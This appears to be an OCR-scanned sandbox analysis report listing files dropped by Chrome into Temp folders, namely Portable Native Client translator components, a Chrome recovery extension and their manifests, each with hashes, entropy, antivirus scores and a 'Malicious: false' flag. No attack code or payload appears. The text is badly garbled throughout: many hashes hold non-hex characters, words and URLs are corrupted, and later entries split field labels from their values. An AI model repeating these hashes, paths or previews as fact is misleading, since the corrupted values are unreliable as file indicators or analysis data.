GxhdGZvem1fc3BIY2ImaWMveDg2XzYOL3BuYWNsX3B1YmxpY1940DZNjRfY3J0ZW5kX28iLCJIyb290X2hhc2giOiJkT2IJVZRMAEdGNWIFY0k1UXYyYjBmd
XNrUlYyaUVtdmxhbmV6MIpFc3VvinOseyJwY XRoljoiX3BsYXRmb3JtX3NwZWNpZmljL3g4NI82NCOwbmFjbFOwdWJIsaWNfeDg2XzY0X2xkX25leGUiLCJyb290X2hhc2g
i0ilZNEU5QUIEMmMpgLWNoMzZQZONVVOYtMUpYWVhVAINGY 114bkslaWppcWNjlinOseyJwY XRoljoiX3B

C:\Users\user\AppData\Local\Temp\6008_2142786305\_platform_specific\x86_64\pnacl_public_pnacl_json

Process: C:\Program Files\Google\Chrome\Application\chrome.exe
File Type: ASCII text

Category: dropped

Size (bytes): 507

Entropy (8bit):  4.68252584617246

Encrypted: false

SSDEEP: 12:TjLI7qaVgPPd8bdzQBXefosmc5T9+n6elCetm1IXcAWA:TI7|ViPOd8wWfHMZ6RP15

MD5: 35D5F285F255682477F4C50E93299146

SHAL: FB58813C4D785412F05962CD379434669DE79C2B

SHA-256: 5424C7B084EC4C8BAOAICE9683E5EEB8C325BA28564112CC941CD22E392D8433

SHA-512: 59DF2D5F2684FACC80C72F9C4B7E280F705776076C9D843534F772D5A3D578BEE04289AEE81320F23FB4D743F3969EDF5BAS3FEBBAC8A4D27F3BC53BCF271C
E

Malicious: false

Preview: {. "COMMENT": [. "This file serves as a template for the resource info description used by “, . "the NaCl Chrome plugin. lItis keptin the NaCl repository to
prevent ", "hard-coding of NaCl-specific information inside the Chrome repository.”. ],. "abi-version": 1, . "pnacl-arch": "x86-64",. "pnacl-ld-name": "ld.nexe",

"pnacl- IIc name": "pnacl-lic.nexe", . “pnacl-sz-name": "pnacl-sz.nexe", . “pnacl-version": "5dfe030a71ca66e72c5719ef5034c2ed24706c43".}

C:\Users\user\AppData\Local\Temp\6008_2142786305\_platform_specific\x86_64\pnacl_public_x86_64_crtbegin_for_eh_o

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), not stripped
Category: dropped

Size (bytes): 2712

Entropy (8bit):  3.4025803725190906

Encrypted: false
SSDEEP: 48:b/5D5V5PK82aTS6aT TwOD0o1DttoyDNSEA:b/hbVic1ZtLDNSE
MD5: 604FF8F351A88E7A1DBD7C836378AE86
SHA1L: 9D8D89AEIF13D6306E619A4EAADSIEDE91ASFIF3
SHA-256: 947E64BE43E821562CE894F1AFCC3D09CD7FF614C107FC94250CD3EA5C943302
SHA-512: 85B1EDA4CA473E00034EE627B7ABB894A77E521BC6A91A91A4A3744CA7511CBOAF10B9723D9ECC2CE3378DD70B659DF842D8C11875958CB77070CFO1ECOALSE
40
Malicious: false
Preview: ELF S @.oo @ PH....... $J= 0 $<AL.@.A L MLUASFff PH...... s
O i AP N B J.8<[,$J.1=....0.8<...f...
NaCl....x86-64.. LZR X @...C...C.... . ceern@....C....C
......... P enCitCoBit S @ X b Clang version 3.7.0 (https: //chromlum googlesource com/a/native_client/pnacl-

clang.git ce163fdd0f16b4481e5cf77a16d45e9b4dc8300e) (https://chromium.googlesource.com/a/native_client/pna

C:\Users\user\AppData\Local\Temp\6008_2142786305\_platform_specific\x86_64\pnacl_public_x86_64_crtbegin_o

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), not stripped
Category: dropped

Size (bytes): 2776

Entropy (8bit):  3.5335802354066246

Encrypted: false

SSDEEP: 48:b/5D5V5ej5ej5P]DdaTS6aTTw6DV1DtFouoyDOsTy:b/hbEEVIB1ZFhLDOST

MD5: 88C08CD63DE9EA244F70BFC53BBCADF6

SHAL: 8F38A113A66B18BAA02E2C995099CF1145A29DAA

SHA-256: 127F903CC986466AA5A13C17DFDD37AC99762F81A794180339069F48986BC7A3

SHA-512: 78D2500493A65A23D101EC2420DC5FO0CEBC75EFAC425C28547121643E4FB568E9D827EF2COF7068159E043C86B986F29BF92C6BADC675F160B63C7B3512EB95
Malicious: false

Preview: .ELF.. J.$<A[..D..A..M..A._ffffff.

..PH..1..,$J LMLAL . J. . . GAL 8= $<A[f ........ A..M. A Ritiin
fff $<[ $J I—....J $<....f. K... ...X86-64...clang version 3.7.0 (https://chromium.googlesource.com

lalnative cllentlpnacl clang.git ce163fdd0fl6b448165cf77a16d4569b4d083006) (https: //chrom|um googlesource.com/a/native_client/pnacl-livm.git 7251d5b59fca15195c9

4a3a7da70f0081724448f)............ZR. X.... .@...
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C:\Users\user\AppData\Local\Temp\6008_2142786305\_platform_specific\x86_64\pnacl_public_x86_64_crtend_o

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), not stripped
Category: dropped

Size (bytes): 1520

Entropy (8bit):  2.799960074375893

Encrypted: false

SSDEEP: 12:Bvx/ekjiIM/NQQMTfRIyp9396QQMTIRICE6WR(DEMTDDW7IEOKShfuEAXWX6BX2U8b:bDjO/NbmT3296bmT3Twk8qDwh7h7CD8

MDS5: 75E79F5DB777862140B04CC6861C84A7

SHAL: 4DB7BDC80206765461AC68CEC03CE28689BBEEOC

SHA-256: 74E8885B87ED185E6811C23942FD9BD1FBACI115768849AF95A9DECF6644B2EA

SHA-512: FE3F86E926759E71494F2060C4ED3C883EBCAF20CB129A5AD7F142766C33FAB1OB5FABC3C7C938E0E895E27EAOACO3CBFESDOEEABF5300A4AD07F67FDI6CC
253

Malicious: false

Preview: ELF. > @@ NaCl....x86-64....... clang version 3.7.0 (https://chromium.googlesource.com/a/native_client/pnacl-clang.git

cel63fdd0f16b4481e5cf77a16d45e9b4dc8300e) (https://chromium.googlesource.com/a/native_client/pnacl-livm.git 7251d5b59fcal5195c94a3a7da70f0081724448f
)...text..comment..bss..group..note.GNU-stack..eh_frame..shstrtab..strtab..symtab..data..note.NaCl.ABI.x86-64.
............................................................................................................................................................... /..I..Ipnacl/support/crtend. EH_FRAME_END___

C:\Users\user\AppData\Local\Temp\6008_2142786305\_platform_specific\x86_64\pnacl_public_x86_64_ld_nexe v

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, BuildID[shal]=7511538a3a6a0b862c772eace49075ed1bbe2377, stripped
Category: dropped

Size (bytes): 2163864

Entropy (8bit):  6.07050487397106

Encrypted: false

SSDEEP: 24576:HPHonlwYZJ0ykwVO70wf31yJKzCtxO8RSV4IY+PbeHVxCtjFV4IBNeSAmfGga+A7:HVSMRw3SKmIY+PyPvnM2Gg+

MD5: 0BB967D2E99BE65C05A646BC67734833

SHA1L: 220A41A326F85081A74C4BB7C5F4E115D1B4B960

SHA-256: C6C2DOC2FC3E38A9BFA19C78066439C2F745393F1FD1C49C3C6777F697222C76

SHA-512: 8EF8689E00E4B210A30444D18ED6247F364995ABEB2FD272064C3AF671EEDB4D9B8B67CAS6F72FEBF8F56896 D4AEA7TEC4B10CB445FFA1C710C1F312E9DAOEAS
96

Malicious: false

Antivirus: e Antivirus: Virustotal, Detection: 0%, Browse

e Antivirus: Metadefender, Detection: 0%, Browse
e Antivirus: ReversingLabs, Detection: 0%

....... {o WL
.GNU.U.S.;j..,w...u..#w.

Preview:

C:\Users\user\AppData\Local\Temp\6008_2142786305\ _platform_specific\x86_64\pnacl_public_x86_64_libcrt_platform_a

Process: C:\Program Files\Google\Chrome\Application\chrome.exe
File Type: current ar archive

Category: dropped

Size (bytes): 40552

Entropy (8bit):  4.127255967843258

Encrypted: false

SSDEEP: 768:xIP+1fzyUNVU5LMKxeOnjpD5eA/eUnUUxvT:xIP+1ryYMTekpD5eAWjuvT

MD5: 0CE951B216FCF76F754C9A845700F042

SHAL: 6F99A259C0C8DAD5AD29EE983D35B6A0835D8555

SHA-256: 7A1852EA4BB14A2A623521FA53F41F02F8BA3052046CF1AA0903CFADOD1ELIA7B

SHA-512: 7C2F9BF90EB1F43C17B4E14A077759FA9DC62A7239890975B2D6FD543B31289DC3B49AE456CA73BI8DEIAC372034F340C708D23DID3AABOSCCBDABDC56A63
4E

Malicious: false

Preview: I<arch>./ 0 0O 0 O 624 TR 8 Z(ee b Ly LY LY LY LY LY LY LY LY LY LY LY LY Y fmod.fmodf.memcmp.

memcpy.memmove.memset.__nacl_read_tp.__pnacl_init_irt.longjmp.setjmp.__Sz_fptosi_f32_i64._ Sz _fptosi_f64_i64._ Sz_fptoui_f32_i32._ Sz_fptoui_{32_i64._
_Sz_fptoui_f64_i32.__Sz_fptoui_f64_i64._ Sz_sitofp_i64_f32._ Sz_sitofp_i64_f64. Sz uitofp_i32_f32._ Sz_uitofp_i32_f64._ Sz_uitofp_i64_f32._ Sz_uitofp_i64_f64.n
acl_tp_tdb_offset.nacl_tp_tls_offset._Sz_bitcast_16xil_i16._ Sz_bitcast_8xil_i8._ Sz_bitcast i16_16xil._ Sz_bitcast_i8 8xil._ Sz fptoui_4xi32_f32._ Sz _uitofp_4
Xi32_4xf32..e_fmod.o/ 0 0 0 644 2792 C.ELF........ S [ @@ PH..AVAUATSfl.~.M..I.. E...@.
A....D.D1.... 8fl.~M....I.. E.A.....D..D..t.D..D.f..D.=..r..Y_ A [AAIAN. @..,$J.I1=...J. $<A[A..M..
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https://www.virustotal.com/gui/file/c6c2d0c2fc3e38a9bfa19c78066439c2f745393f1fd1c49c3c6777f697222c76/detection/f-c6c2d0c2fc3e38a9bfa19c78066439c2f745393f1fd1c49c3c6777f697222c76-1654183012
https://www.metadefender.com/#!/results/file/bzIyMDQwM29LMEVDNWVzU1NUcjVMWl9yN2U/regular/analysis

C:\Users\user\AppData\Local\Temp\6008_2142786305\_platform_specific\x86_64\pnacl_public_x86_64_libgcc_a

Process: C:\Program Files\Google\Chrome\Application\chrome.exe
File Type: current ar archive

Category: dropped

Size (bytes): 132784

Entropy (8bit):  3.6998481247844937

Encrypted: false

SSDEEP: 384:HfOMOXYmeKzQUIdedRFVT5p1Ee2HYAIL304:Hf70XdmWRJIT5p1R2HYAhRO4

MDS5: C37CA2EB468E6F05A4E37DF6E6020D0OF

SHAL: EA787E5EADFB488632EC60D8B80B555796FA9FEQ

SHA-256: C1483ED423FEE15D86E8B5D698B2CDAB89186CE7FFIC4E3D5F3F961FD80D7C6E

SHA-512: 01281DE92B281FB29E1ACA96AA64B740B65CC3A9097307827F0D8DBIE1C164C56 AFCDFAOBF138EA670A596D55CE2C8D722760744E9FC9343BB6514417BF333E
A

Malicious: false

Preview: I<arch>./ 0 0 0 O 942 Sl L ALELMLUL ) UL~ XA | SO LU« R LS FL Ll DLKLT
sAeder] o Xeverraanens Lo VB __clzti2.__compilerrt_fmax.__compilerrt_fmaxf.__compilerrt_logb.__compilerrt_logbf.__ctzti2.__divdc3.__divdi3.__div

moddi4.__divmodsi4.__divsc3.__divsi3.__ divti3.__fixdfdi.__fixdfsi.__fixdfti.__fixsfdi.__fixsfsi.__fixsfti.__fixunsdfdi.__fixunsdfsi.__fixunsdfti.__fixunssfdi.__fixunssfsi

. fixunssfti.__floatdidf.__floatdisf.__floatsidf.__floatsisf.__floattidf.__floattisf.__floatundidf.__floatundisf.__floatunsidf.__floatunsisf.__floatuntidf.__floatuntisf.compilerrt
_abort_impl.__moddi3.__modsi3.__modti3.__muldc3.__muloti4.__mulsc3.__multi3.__popcountdi2.__popcountsi2.__popcountti2.__powidf2.__powisf2.__udivdi3.__
udivmoddi4.__udivmodsi4.__udivmodti4.__udivsi3.__udivti3.__umoddi3.__umodsi3.

C:\Users\user\AppData\Local\Temp\6008_2142786305\_platform_specific\x86_64\pnacl_public_x86_64_libpnacl_irt_shim_a

Process: C:\Program Files\Google\Chrome\Application\chrome.exe
File Type: current ar archive

Category: dropped

Size (bytes): 13514

Entropy (8bit):  3.8217211433441904

Encrypted: false

SSDEEP: 192:uU9v4pXizdrEuxwk3vp20tprpdSGFwDqO:P9v4palvvcOtpFdSGFwmO

MD5: 4AEBBEDA73EB7BD99528BF62B7835A3FA

SHA1L: DCOF263A7B2A649D11FF7B56FE9CFAC44F946036

SHA-256: 6B835FD48DF505EB336FF6518CE7B93BBOED854DADAASCIEEED48D420291F62C

SHA-512: 46116B8BABC719676D68FD40D2AC82F38A3D13D8A482ADFCE6FC32A99170AC3420E52CC33242CCDOFA723ABF4AFASEDBBICE16A09C729BFO4AE4AAFBB2F67ALL
38B

Malicious: false

Preview: I<arch>./ 0 0O 0 O 94
0 0 644 7392 “.ELF
..... A......AD.....f.D.<... ..clang version 3.7.0 (https://chromium.googlesource.com/a/native_client/pnacl-clang.git ce163f

dd0f16b4481e5cf77a16d45e9b4dc8300e) (https://chromium.googlesource.com/a/native_client/pnacl-llvm.git 7251d5b59fca15195c94a3a7da70f0081724448f).../../
ppapi/native_client/src/untrusted/pnacl_irt_shim/shim_entry.c./mnt/data/b/build/slave/sdk/build/src/out_pnacl/x64.NACL_STARTUP_FINI.NACL_STARTUP_ENVC.
NACL_STARTUP_ARGC.NACL_STARTUP_ARGV.NaClStartupinfolndex.unsigned int.size_t.char. TYPE_na

C:\Users\user\AppData\Local\Temp\6008_2142786305\_platform_specific\x86_64\pnacl_public_x86_64_libpnacl_irt_shim_dummy_a

Process: C:\Program Files\Google\Chrome\Application\chrome.exe
File Type: current ar archive

Category: dropped

Size (bytes): 2078

Entropy (8bit):  3.21751839673526

Encrypted: false

SSDEEP: 24:MOcpdhWES50/bZbmT3296bmT3TwQwDnvD/+R3:MHUECdaTS6aTTWXDvD/+|

MD5: F950F89D06C45E63CEI862BES9EI37CI

SHAL: 9CFAD34139CC428CE0C07A869C15B71A9632365D

SHA-256: 945B1C8A1666CBFO5E8B8941B70D9D044BAAFB59B006F728F8995072DE7C4C40

SHA-512: FOAFBB800A875EDCC63DEA4986179E73632B3182951A99C8B3D37DB454EFD7CC7192ECASAC87514918A858BAD6DAEABS59548CA2E90EADA9900EF5BIF08EG2
CFC

Malicious: false

Preview: I<arch>./ 0 0O 0 O 30 e _pnacl_wrapper_start..// 20 “.dummy_shim_entry.o/./0 0 0
0 644 1840 C.ELF........ S @....@.coviii, PH..,$J.0=...0.8< . fDue NaCl....x86-64...clang version

3.7.0 (https://chromium.googlesource.com/a/native_client/pnacl-clang.git ce163fdd0f16b4481e5cf77a16d45e9b4dc8300e) (https://chromium.googlesource.com/a/native
_client/pnacl-livm.git 7251d5b59fcal15195c94a3a7da70f0081724448f) rela.text..comment..bss..group..note. GNU-
stack..rela.eh_frame..shstrtab..strtab..symtab..data..note.NaCl.ABI.x86-64

C:\Users\user\AppData\Local\Temp\6008_2142786305\_platform_specific\x86_64\pnacl_public_x86_64_pnacl_llc_nexe v
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Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, BuildID[sha1]=309d6d3d463e6b1b0690f39eh226ble4c469b2ce, stripped
Category: dropped
Size (bytes): 14091416

Entropy (8bit):  5.928868737447095

Encrypted: false

SSDEEP: 196608:tKVgXp3Qev4dg6ilfHM8BKLM2J3jgjnkZ:uqufB

MDS5: 9B159191C29E766EBBF799FA951C581B

SHAL: D1D4BBC63AB5FC1E4A54EB7B82095A6F2CES35EE

SHA-256: 2F4A3A0730142C5EE4FA2C05D27A5DEFC18886A382D45F5DB254B61B28ED642B

SHA-512: 0B4FF60B5428F81B8B1BCF3328CF80CBD88D8CESES8BDBC236B06D5A54E7CF26168A3ABB348D87423DA613AB3F0B4D9B37CB5180804839F1CA158EC2B315DD
00

Malicious: false

Antivirus: e Antivirus: Virustotal, Detection: 0%, Browse

e Antivirus: Metadefender, Detection: 0%, Browse
e Antivirus: ReversingLabs, Detection: 0%

Preview:

C:\Users\user\AppData\Local\Temp\6008_2142786305\_platform_specific\x86_64\pnacl_public_x86_64_pnacl_sz_nexe v

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, BuildID[shal]=4b15de4ab227d5e46213978b8518d53c53celdb9, stripped
Category: dropped

Size (bytes): 1901720

Entropy (8bit):  5.955741933854651

Encrypted: false

SSDEEP: 12288:gXqUSpBjwQ0O208k+7zjidgdeuCAauOILffvCpGy4Wh3BTFmHpq82K2/KsvPyladd:gafZwcOdNe2auOepCBTFmMJIq3Kf8ksr

MD5: 9DC3172630E525854B232FF71499D77C

SHA1L: 0082C58EDCE3769E90DB48E7C26090CE706AD434

SHA-256: 6AALDAGC264E0AF4AE32A004F4076C7557C6AC6D9C38BOC5DE97302D83FA248C3

SHA-512: 9E9584241A39EED1463D7D4C1B26AE570B839AA315778FF3400C61341EBA43B630307DE9F1532A265CA82EAG69BDEAO3ECIDI63ES59A18569C02DA8285449870F|
Malicious: false

Antivirus: e Antivirus: Virustotal, Detection: 0%, Browse

e Antivirus: Metadefender, Detection: 0%, Browse
e Antivirus: ReversingLabs, Detection: 0%

Preview: . @80 @ O Ol Yoo

y.P.D.7<s..0.u....$@......@..
e 0..0..2..4..6..7..9..~.~.z.{.{.

C:\Users\user\AppData\Local\Temp\6008_2142786305\manifest.fingerprint

Process: C:\Program Files\Google\Chrome\Application\chrome.exe
File Type: ASCII text, with no line terminators

Category: dropped

Size (bytes): 66

Entropy (8bit):  3.928261499316817

Encrypted: false

SSDEEP: 3:STDLGswXEVBcVdBITDt3zLsW:SPLGLErcVdBIDtf3

MD5: CO0BCE97F21B1AD61EB9B8CD001795EE

SHAL: 8E0392FF3DB267D847711C3FAE0D7468060E1535

SHA-256: 59F06F04230E32E8BC839F45B984D31D611930427B631C963D09E7064A602363

SHA-512: 9930E44A6ECC62505DBADCEED5SE05645909FF09816FB12AAC0414E6D2830AC09758366C3B7D4EDD7839C87EB16DFA4C66D8981AE6237D408B37135C3506F4C
2

Malicious: false

Preview: 1.6f6bc93dcd62dc251850d2ff458fda96083ceb7fbe8eeb11248b8485ef2aea23

C:\Users\user\AppData\Local\Temp\6008_2142786305\manifest.json

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text
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https://www.virustotal.com/gui/file/2f4a3a0730142c5ee4fa2c05d27a5defc18886a382d45f5db254b61b28ed642b/detection/f-2f4a3a0730142c5ee4fa2c05d27a5defc18886a382d45f5db254b61b28ed642b-1650557909
https://www.metadefender.com/#!/results/file/bzIyMDIwN1VUZHdoT3ZHM0QwX2tlMk51MHo/regular/analysis
https://www.virustotal.com/gui/file/6aa1da6c264e0af4e32a004f4076c7557c6ac6d9c38b0c5de97302d83fa248c3/detection/f-6aa1da6c264e0af4e32a004f4076c7557c6ac6d9c38b0c5de97302d83fa248c3-1654449726
https://www.metadefender.com/#!/results/file/bzIyMDIwOTNRdXBKT0h5YU53TklPTDU2b3Bs/regular/analysis

Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:
Malicious:

Preview:

dropped

573

4.859567579783832

false

12:BLgG6yDIMLAMLDIGOhQ181G46XzrXc+EFfNgpaiOc+T5NgXIOcINgXL:BkylmL4mLDIJ18116XsRNgtZeNgXIZIE

1863B86D0863199AFDA179482032945F

36F56692E12F2A1EFCA7736C236A8D776B627A86

F14E451CE2314D29087B8AD0309A1C8BBE81D847175EF46271EO0EB49B4F84DC5
836556F3D978A89D3FC1F07FCED2732A17E314ED6A021737F087E32A69BFA46FD706EBBDFD3607FF42EDCB75DC463C29B9D9D2F122504F567BB95844F579831
false

{."update_url": "https://clients2.google.com/service/update2/crx",.. "description": "Portable Native Client Translator Multi-CRX",. "name": "PNaCl Translator Multi-CRX",.
"manifest_version": 2,. "minimum_chrome_version™: "30.0.0.0",. "version": "0.57.44.2492",. "platforms™ [. {.  "nacl_arch": "x86-32",.  "sub_package_path": "_plat
form_specific/x86_32/". },. {.  "nacl_arch": "x86-64",.  "sub_package_path":"_platform_specific/x86_64/". },. {.  "nacl_arch":"arm",.  "sub_package_pa
th™: "_platform_specific/arm/". }. 1.}.

C:\Users\user\AppData\Local\Temp\6008_219198615\Recovery.crx3 E

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:

SHA-512:

Malicious:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

Google Chrome extension, version 3

dropped

145035

7.995615725071868

true
3072:TdgEhmDf+E8VYO0x81Rkc6L20qzqkPEU30gZIc3G2ZknF:TyEhmDf+/+Fnkj6IEukgZyyF
EA1C1FFD3EA54D1FB117BFDBB3569C60
10958B0OF690AEBF5240E1528B1CCFFFF28A33272
7C3A6A7D16AC44C3200F572A764BCE7D8FA84B9572DD028B15C59BDCCBCOA77D

6C30728CAC9EACS53F0B27B7DBE2222DA83225C3B63617D6B271A6CFEDF18E8FOABDFFA1053E1CBCAC5E16625F4BBCOD03AA306A946C9D72FAAACEB779F8F!I
CAF

false

1.n.<Fb.f.*Ql....s.2.{*6...Pp...obM..1......b1......(.uN'Z.....v.F.W.X4."-*eu...b . .
.C.....0&L..0.K....UtP.&N...;."w/af)v...~KG;...?.1.. k.c..D.U......0.6.".G.5x k..[.ILA.@I".I.<A. J...}."G.".$q.N..Tdq]2]p.OF. #.#..... . LA H 0 O..(
..119..0/ > =...m.n\.z..q... JW..F.....+H.Z+KGO.9...8.... U..&y....,.$...2.E0.... \f/.Z..+M8...B.3"..Y.r. X AS?.~. k.n...... Z..&G...."n......... LOv.x#<...Lx,-w..-..d....J.pT..(
e~*%kQ.Q.....rl....Z...v.N....J.d_ HBX.*E5....y..

C:\Users\user\AppData\Local\Temp\6008_219198615\_metadata\verified_contents.json

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

ASCII text, with very long lines, with no line terminators

dropped

1765

6.027545161275716

false
48:p/hii6zkvVI11Jip2gRNHvakuQkCNFxdsGwmBKkgum91:Rz0kv6cNvaYNFwSEhug
45821E6EB1AEC30435949B553DB67807
B3CADEB17FE5B76B5DBB428B8D3A07B341F8B1BC
ES5FAE91295BECF7F66BFA4BE1061CAS5537ED763EB5D01485F23ECFB583304FEE

BCBE40CAFAA4B14566D91E361D8FB7F0288D5C459FA478AA4C575444DA4DA406E1076FCOB3A31D4A9ESEE034FOFELSAOEFESABAS2B838DE94B96D3E488D28F(
FE

false

[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyl6W3siYmxvY 2tfc216 ZSIGNDA5NiwiZGInZXNOljoic2hhMjU2liwiZmIsZXMiO
[t7InBhdGgiOiJSZWNvdmVyeS5jcngzliwicm9vdF9oY XNoljoiaGdCR051SzhNR2NKaDIfNmZQaFdEWmpVYUFKeklzeDIJS21DUEZvb0dfUSJ9LHsicGF0aCl6lm1hbml
mZXNOLmpzb24iLCJIyb290X2hhc2giOilwYXduVFBFQmMADRHkyV05hVVk3Um9ImSWN3c3ZwNHFRNUxzZVMxVXRiVXY0In1dLCImb3JtYXQiOiJocmVlIaGFzaCl
simhhc2hfY mxvY2tfc2I6ZSIBNDASNN1dLCIpdGViX2lkljoiaWhubGNIbm9jZWhnZGFIZ2RtaGIpZGpobmhkY2hmbWO0iLCJIpdGViX3ZIcnNpb24iOilxLiMuMzYuMTQXxI
iwicHIvdG9jb2xfdmVyc2Ivhil6MX0","signatures™:[{"header":{"kid":"publisher"},"protected":"eyJhbGciOiJSUzI1NiJ9","signature":"iFUMX_kOZ-zJ7KVu6Lxb3rHWZg
QvkZhv25x_SGIBiDV_0okALrGhjerUOWyNNNsHXMNT118XZmA696XR8akr4dwT5Gvez-9gi-WYBY 7XBkgo7v6NspGgJF89BNCel-P9k-zBHOGgrf-fCEIAcOM7xCx9_f8ql
Ry7nhQPyjOIHN5eEJEiIrOuSu6gdqR9afnVZ3UoR-VOLdJOBt7fA4ee38MP2ut5qWU50F5dviezfKk TVDMHwztvecLCy6RISVKkdSYv6jwWGcecYRI-aclvkkHu6SnbZGI7fmDZ
dkcBAXBHYEZZMmvb76ro4SO15GDyEVAo_Qf4trdrY_GyN_Bm73imCTjgtoGe

C:\Users\user\AppData\Local\Temp\6008_219198615\ manifest.fingerprint

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):

C:\Program Files\Google\Chrome\Application\chrome.exe
ASCII text, with no line terminators

dropped

66

3.7900469623255675
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Encrypted:
SSDEEP:
MDS5:
SHAL:
SHA-256:
SHA-512:
Malicious:

Preview:

false

3:SpOXzxIQ4BdPWfDL9c:SpOjDQFfVc

2AE14F91312C4E8034366B09D49D5B18

AD4933A5D838D0OFA0BI60C327A5039A9EB249642

4F122332EF0F2BB490EF59619D3602C1A7277C0A7A19C132202DB4803A09BFA2
FBOCC467A4B8463F6A3BF42CDC11C23B34EB94A9397644B68714DCB819EE326BAE05022D59D23DC9907DF1E6928064D853FD0900BB6083417892D4D5A9BAT77!
false

1.aeedb246d19256a956fedaag89fb62423ae5bd8855a2a1f3189161cf045645a19

C:\Users\user\AppData\Local\Temp\6008_219198615\manifest.json

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:
SHA-256:

SHA-512:

Malicious:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

ASCII text

dropped

195

4.682333395896383

false
3:rR6TAulhFphifFJI9LAGIXgOXTFHgS1wP/pEeSWU4pV/8F/FXLj2RF2fcTZTotL:F6VIM90ggITgS1wnuWfBONpK4aotL
7ABE3A0B6417948DF4D49F3915428D7A

4FC084AABDB13483567D5C417C7ED8FD16726A80
D1AC274CF1018020F2D9635A518ED1A1F21CC2CBESE2A4392EC792D54B5B52FE

064D84A57B28C19AD10742859DA493D0826B47ADC632F6C623DFB4DE36D72A9D29BE98518061A9FFD42D99FCF01F27DE39CE74782B3A5ACBBE11DFDDEEABE
9A1

false

{. "manifest_version": 2,. "name": "ImprovedRecoveryComponentlnner”,. "version": "1.3.36.141",. "imageName": "image.squash",. "squash": true,. "fsType": "
squashfs",. “isRemovable": false.}

C:\Users\user\AppData\Local\Temp\6008_696798426\_metadata\verified_contents.json

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

ASCII text, with very long lines, with no line terminators

dropped

1765

6.016932513650603

false

48:p/hKAGjOFnAp7XgNGlaku9EStPIXaWgkbszesM:R5Gj0FAlsaBmfPSRD3M
6D1D175F88B64546105E3E7C31D1129A
75A1B56F55BB62B05365A0FDBFC7941DE77CBFAF
AOBC246E8E160A9BB32FA60F4E7A04D148A17125F426509466031E07731FDF81

5C80908331E30C7EAD67F7F6C5AB064B07626FDICE8925A0D2124D66B25C5AE2F218BDACFB68AFCB332E88EB297 CFB7EOATAIESE 1E54CIB7A510FEF095FIBE
aF

false

[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyl6W3siY mxvY 2tfc216ZSI6ENDA5SNiwiZGInZXNOljoic2hhMju2liwiZmIsZXMiO
[t7InBhdGgiOiJtYW5pZmVzdC5qc29uliwicm9vdF9oYXNoljoiSUxrUIIPSmhIVEZacllLRmN5UC12SkJrViNWbWVLdHo4d1hEb2VPW|BZMCJ9LHsicGF0aCl6InNzbF9
Icndvel9hc3Npc3RhbnQucGIiLCIyb290X2hhc2giOiJyRFZLUNIPcXBQQNI3BRGhkM2VTazBKZzYxUIIXOVNzeHFBYU95WDFIWHFjIn1dLCImb3JtY XQiOiJOcmVIaGFza
ClsImhhc2hfYmxvY 2tfc216ZSI6NDASNN1dLCIpd G ViX2lkljoiZ2lla2NtbWxua2xlbmxhb21wcGtwaGtuam1ubnBuZWgiLCIpdGVtX3ZlcnNpb24iOil3liwicHIvdG9jb2xfdmVyc
2lvbil6MX0","signatures":[{"header":{"kid":"publisher"},"protected":"eyJhbGciOiJSUzI1NiJ9","signature":"nBdNk-7bgnEftAs4hWaHwF1Lk9pt7Eh6pcge2gyNsE7VnVRp-
H27tm1RFAF4htCUIXNJIXxX6YY-MUIK2DgJpQ3c73KDaFV8DcnadQfcXO3Lbrw7jLY SUaSdzujPkTyhuFca_BhKOKWilJ0aJgh7nVOBfAaSAbE6oFILKMB2Ls0gmzS1-a
5hUludrw2h9r9jkrégLY bein5Jk2hdw\W3u-1GNjyki4dftG2iZNAI8VhU5gnCiF4AAHCNY SGIsMORGKmMO_HJIzgwpQpP3RDsG2ioeKgxL-kcHhjXWOj3uVGyxpp1FkyHGk
eGugpFZMAXx3CEBIOtFj7i3iQxkgEW-E3uMKI3yA

C:\Users\user\AppData\Local\Temp\6008_696798426\manifest.fingerprint

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

C:\Program Files\Google\Chrome\Application\chrome.exe

ASCII text, with no line terminators

dropped

66

3.9570514164363635

false

3:SVCBGERJd9WaHpYx4eiXoA:SVCwWERJIAVMiXd
C6ABF42CB5AF869629971C2E42A87FD5
6EBOFAE28D9466E76FA12E31FE6CDADD3ACCE4D1
D281AFDA759075F4CB7D7CEEC4A3CB2AF135213B4D691F27090E13F238486AD1

EDDF7E4883E82718743C589E8F2E48BEAD948428E730231FEFADAD380853343332BC56C9DC61C963B3F537CD4865B06FF330CEF012B152CEA35F8A0AA2CT7BS!
D
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Malicious:

Preview:

false

1.fd515ec0dc30d25a09641b8b83729234bc50f4511e35cel7d24fd996252eaace

